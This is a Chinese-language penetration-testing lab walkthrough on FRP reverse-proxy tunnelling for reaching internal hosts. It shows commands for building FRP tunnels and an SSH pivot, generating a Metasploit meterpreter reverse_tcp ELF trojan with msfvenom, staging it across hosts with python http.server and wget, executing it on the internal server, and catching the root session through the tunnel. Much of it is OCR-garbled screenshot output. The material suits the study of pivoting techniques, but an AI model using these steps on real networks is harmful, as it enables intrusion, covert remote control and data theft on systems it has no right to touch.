FRP隧道
概述
FRP（Fast Reverse Proxy）是一款用 Go 语言开发的高性能反向代理应用，其核心用途是内网穿透。
它通过一台具有公网 IP 的中转服务器，帮助你将位于 NAT 或防火墙后的内网服务安全地暴露到公网，而无需内网设备本身拥有公网 IP。
frp 采用 C/S 模式，将服务端部署在具有公网 IP 的机器上，客户端部署在内网或防火墙内的机器上，通过访问暴露在服务器上的端口，反向代理到处于内网的服务。
官网地址：https://gofrp.org/zh-cn/
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隧道搭建
[image: ]
#1. frpc放在内网服务器，frps放在外网服务器

#1.1 将物理机钟的frp压缩包，上传到外网服务器

python -m http.server



#1.2 外网服务器接收frp压缩包，并解压

wget http://192.168.88.1:8000/frp_0.61.2_linux_amd64.tar.gz

tar -zxvf frp_0.61.2_linux_amd64.tar.gz



#1.3 外网服务器将压缩包传递给内网服务器

python -m SimpleHTTPServer 2323



#1.4 内网服务器接收并解压

wget http://10.20.30.128:2323/frp_0.61.2_linux_amd64.tar.gz

tar -zxvf frp_0.61.2_linux_amd64.tar.gz



#2. 修改内网服务器的frpc.toml 的配置文件

serverAddr = "10.20.30.128" #跳板机的IP地址

serverPort = 7000



[[proxies]]

name = "test-tcp"

type = "tcp"

localIP = "127.0.0.1"

localPort = 22 #内网服务的应用

remotePort = 6868 #外网服务器的端口



#3 外网服务器启用frp的服务端

./frps -c ./frps.toml



#4. 内网服务器启用frp的客户端

./frpc -c ./frpc.toml



#5. 使用kali连接内网的ssh服务,目标指向为外网服务器的外网IP地址以及端口

ssh root@192.168.88.125 -p 6868

外网服务器的FRPs配置：
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内网服务器的FRPc配置：
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kali连接内网服务器的SSH：
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MSF正向木马
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目标上线：
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MSF反向木马
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#1. 生成反向木马文件

#msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=外网服务器的内网IP地址 LPORT=2345 -f elf -o linux_12345.elf

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.20.30.128 LPORT=12345 -f elf -o linux_12345.elf



#2. 木马的传递：kali---外网服务器---内网服务器

#2.1 kali

python -m http.server



#2.2 外网服务器接收并传输

wget http://192.168.88.104:8000/linux_12345.elf

python -m SimpleHTTPServer 2323



#2.3 内网服务器接收并运行

wget http://10.20.30.128:2323/linux_12345.elf

chmod a+x linux_2345.elf



#3. kali机器配置FRPc服务的客户端

#3.1 物理机开启httpserver服务，传输frp并解压

wget http://192.168.88.1:8000/frp_0.61.2_linux_amd64.tar.gz

tar -zxvf frp_0.61.2_linux_amd64.tar.gz



#3.2 FRPc服务的客户端配置

serverAddr = "192.168.88.125" #外网服务器的外网IP地址

serverPort = 7000



[[proxies]]

name = "test-tcp"

type = "tcp"

localIP = "127.0.0.1"

localPort = 54321 #msf监听端口

remotePort = 12345 #生成反向木马的端口



./frpc -c ./frpc.toml



#4. kali机器进行木马的监听操作

msfconsole

use exploit/multi/handler

set payload linux/x64/meterpreter/reverse_tcp

set lhost 127.0.0.1

set lport 54321  #与FRPc中配置localPort保持一直

run



#5. 内网服务器启用木马文件

./linux_12345.elf

kali机器配置客户端：
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目标上线：
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[root@localhost frp_0.61.2_linux_amd6u4]# 1s -1
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[root@localhost frp_0.61.2_linux_amd64]# ./frps —c ./frps.toml

[1]
[1]
[1]
[1]

[1]
[1]
[1]

[frps/root.go:105] frps uses config file: ./frps.toml

[server/service.go:237] frps tcp listen on 0.0.0.0:7000

[frps/root.go:114] frps started successfully

[server/service.go:582] [f9a6Uc2028aac6ecl] client login info: ip [10.20.30.131:51026] version [0.61.2] hostnam

[proxy/tcp.go:82] [f9a6Uc2028aac6ecl] [test—tcp] tcp proxy listen port [6868]
[server/control.go:399] [f9a6Uc2028aac6cl] new proxy [test—tcp] type [tcp] success
[proxy/proxy.go:20u4] [f9a6lUc2028aac6cl] [test—tcp] get a user connection [192.168.88.164:57472]
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[root@localhost frp_0.61.2_linux_amd64]# cat ./frpc.toml
serverAddr = "10.20.30.128"
serverPort = 7000

[ [proxies]]

1ame = "test-tcp"

type = Iltcpll

lLocalIP = "127.0.0.1"

LocalPort = 22

remotePort = 6868

[root@localhost frp_0.61.2_linux_amdé64]# 1s -1
& 33u36

-rwxr-xr-x 1 1001 118 15028376 3H 7 2025 frpc

-rw-r-—r—— 1 1001 118 145 108 12 22:03 frpc.toml
-rwxr-xr-x 1 1001 118 19181720 3H 7 2025 frps
-rw-r-—r—— 1 1001 118 16 38 7 2025 frps.toml

-rw-r——r-— 1 1001 118 11358 3H 7 2025 LICENSE

[root@localhost frp_0.61.2_linux_amd6U]# ./frpc -c ./frpc.toml

2026-10-12 22:06:36.637 [I] [sub/root.go:1U42] start frpc service for config file [./frpc.toml]

2026-10-12 22:06:36.637 [I] [client/service.go:295] try to connect to server...

3026-10-12 22:06:36.642 [I] [client/service.go:287] [f9a6Uc2028aac6ecl] login to server success, get run id [f9a6u4c2028aac6ecl]
2026-10-12 22:06:36.642 [I] [proxy/proxy_manager.go:173] [f9a6u4c2028aac6cl] proxy added: [test-tcp]

2026-10-12 22:06:36.64U [I] [client/control.go:168] [f9a6uUc2028aac6cl] [test—tcp] start proxy success
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L—(root@ kali)-[/tmp/test]
# ssh root@192.168.88.125 —p 6868
The authenticity of host '[192.168.88.125]:6868 ([192.168.88.125]:6868)' can't be established.
ED25519 key fingerprint is: SHA256:PdYksJtoOnsFm+R20Vwz1j2AYg9JvYGvVolqleOWrrM
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:1: [hashed name]
~/.ssh/known_hosts:3: [hashed name]
~/.ssh/known_hosts:U4: [hashed name]
~/.ssh/known_hosts:5: [hashed name]
~/.ssh/known_hosts:6: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.88.125]:6868' (ED25519) to the list of known hosts.
*%* WARNING: connection is not using a post—quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
root@192.168.88.125's password:
Last login: Mon Oct 12 18:16:39 2026 from 10.20.30.128
[root@localhost ~]# ifconfig
ens33: flags=U4163<UP,BROADCAST,RUNNING, MULTICAST> mtu 1500
inet 10.20.30.131 netmask 255.255.255.0 broadcast 10.20.30.255
inet6 fe80::a707:ccbb:3c00:dod7 prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:68:1b:f6 txqueuelen 1000 (Ethernet)
RX packets 27306 bytes 28313309 (27.0 MiB)
RX errors © dropped © overruns © frame 0O
TX packets 19732 bytes 24571093 (23.4 MiB)
TX errors 0 dropped O overruns 0@ carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 703 bytes 78155 (76.3 KiB)
RX errors © dropped © overruns © frame 0O
TX packets 703 bytes 78155 (76.3 KiB)
TX errors 0 dropped O overruns 0 carrier 0 collisions 0

>root@localhost ~]1#
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msf exploit(multi/handler) > set rhost 192.168.88.125

rhost => 192.168.88.125

msf exploit(multi/handler) > set lport 16868

lport => 16868

msf exploit(multi/handler) > run

[*] Started bind TCP handler against 192.168.88.125:16868

[#] Sending stage (3106788 bytes) to 192.168.88.125

[*] Meterpreter session 1 opened (192.168.88.104:42941 -> 192.168.88.125:16868) at 2026-10-13 15:01:16 +0800

meterpreter > getuid
Server username: root

meterpreter > ifconfig

Interface 1

Name : lo

Hardware MAC : 00:00:00:00:00:00
MTU : 65536

Flags : UP,LOOPBACK

IPv4 Address : 127.0.0.1

IPv4 Netmask : 255.0.0.0

IPv6 Address : ::1

IPv6 Netmask : ffff:ffff:ffff.Fffff.frff:.FFFf::

Interface 2

Name : ens33

Hardware MAC : 00:0c:29:68:1b:f6

MTU : 1500

Flags : UP,BROADCAST, MULTICAST

PPvld Address : 10.20.30.131

IPv4 Netmask : 255.255.255.0

IPv6 Address : fe80::a707:ccbb:3c00:dou7
IIPV6 Netmask : ffff:ffff:ffff:.ffff::
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[:—(rootﬁ}kali)—[/tmp/test/Frp_O.61.2_1inux_amd64]
# cat ./frpc.toml
serverAddr = "192.168.88.125"

serverPort = 7000
[[proxies]]

name = "test-tcp"
type = Iltcpll

localIP = "127.0.0.1"
localPort = 54321
remotePort = 12345

[:—(rootﬁ}kali)—[/tmp/test/Frp_O.61.2_1inux_amd64]
# ./frpc.toml

./frpc
2026-10-13
2026-10-13
2026-10-13
2026-10-13
2026-10-13
2026-10-13
.0.1:54321:

-C

115¢
115¢
115¢
115¢
115¢
15:

19:
19:
19:
19:
19:
19:

05

05

.385 [I] [sub/root.go:142] start frpc service for config file [./frpc.toml]
05.
05.

385 [I] [client/service.go:295] try to connect to server...
390 [I] [client/service.go:287] [5el8e68e36f3ac5a] login to server success, get run id [5el8e68e36f3ac5a]

.390 [I] [proxy/proxy_manager.go:173] [5e18e68e36f3ac5al] proxy added: [test—tcpl
05.
58.
connect:

392 [I] [client/control.go:168] [5el8e68e36f3ac5a] [test-tcp] start proxy success
057 [E] [proxy/proxy.go:206] [5e18e68e36f3ac5a] [test—tcp] connect to local service [127.0.0.1:54321] error: dial tcp 127.0
connection refused




image11.png
msf exploit(multi/handler) > set lhost 127.0.0.1

lhost => 127.0.0.1

msf exploit(multi/handler) > set lport 54321

lport => 54321

msf exploit(multi/handler) > run

[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverselistenerBindAddress?
[+*] Started reverse TCP handler on 127.0.0.1:54321

[*] Sending stage (3106788 bytes) to 127.0.0.1

[*] Meterpreter session 2 opened (127.0.0.1:54321 -> 127.0.0.1:60574) at 2026-10-13 15:21:57 +0800

meterpreter > ifconfig

Interface 1

Name

MTU

Flags

IPv4 Address
IPvd Netmask
IPv6 Address
IPv6 Netmask

Interface 2

Name

Hardware MAC :

MTU
Flags
PPvl4 Address

IPv4 Netmask :
: fe80::a707:ccbb:3c00:dou7
: FFff ffff ffff FFFf::

IPv6 Address
IIPV6 Netmask

: lo
Hardware MAC :
: 65536

: UP,LOOPBACK

00:00:00:00:00:00

127.0.0.1

: 255.0.0.0

1

L FFEEEEFEFEEE FFRE EEFEFFFEE:

: ens33

00:0c:29:68:1b:f6
1500

: UP,BROADCAST,MULTICAST

10.20.30.131
255.255.255.0
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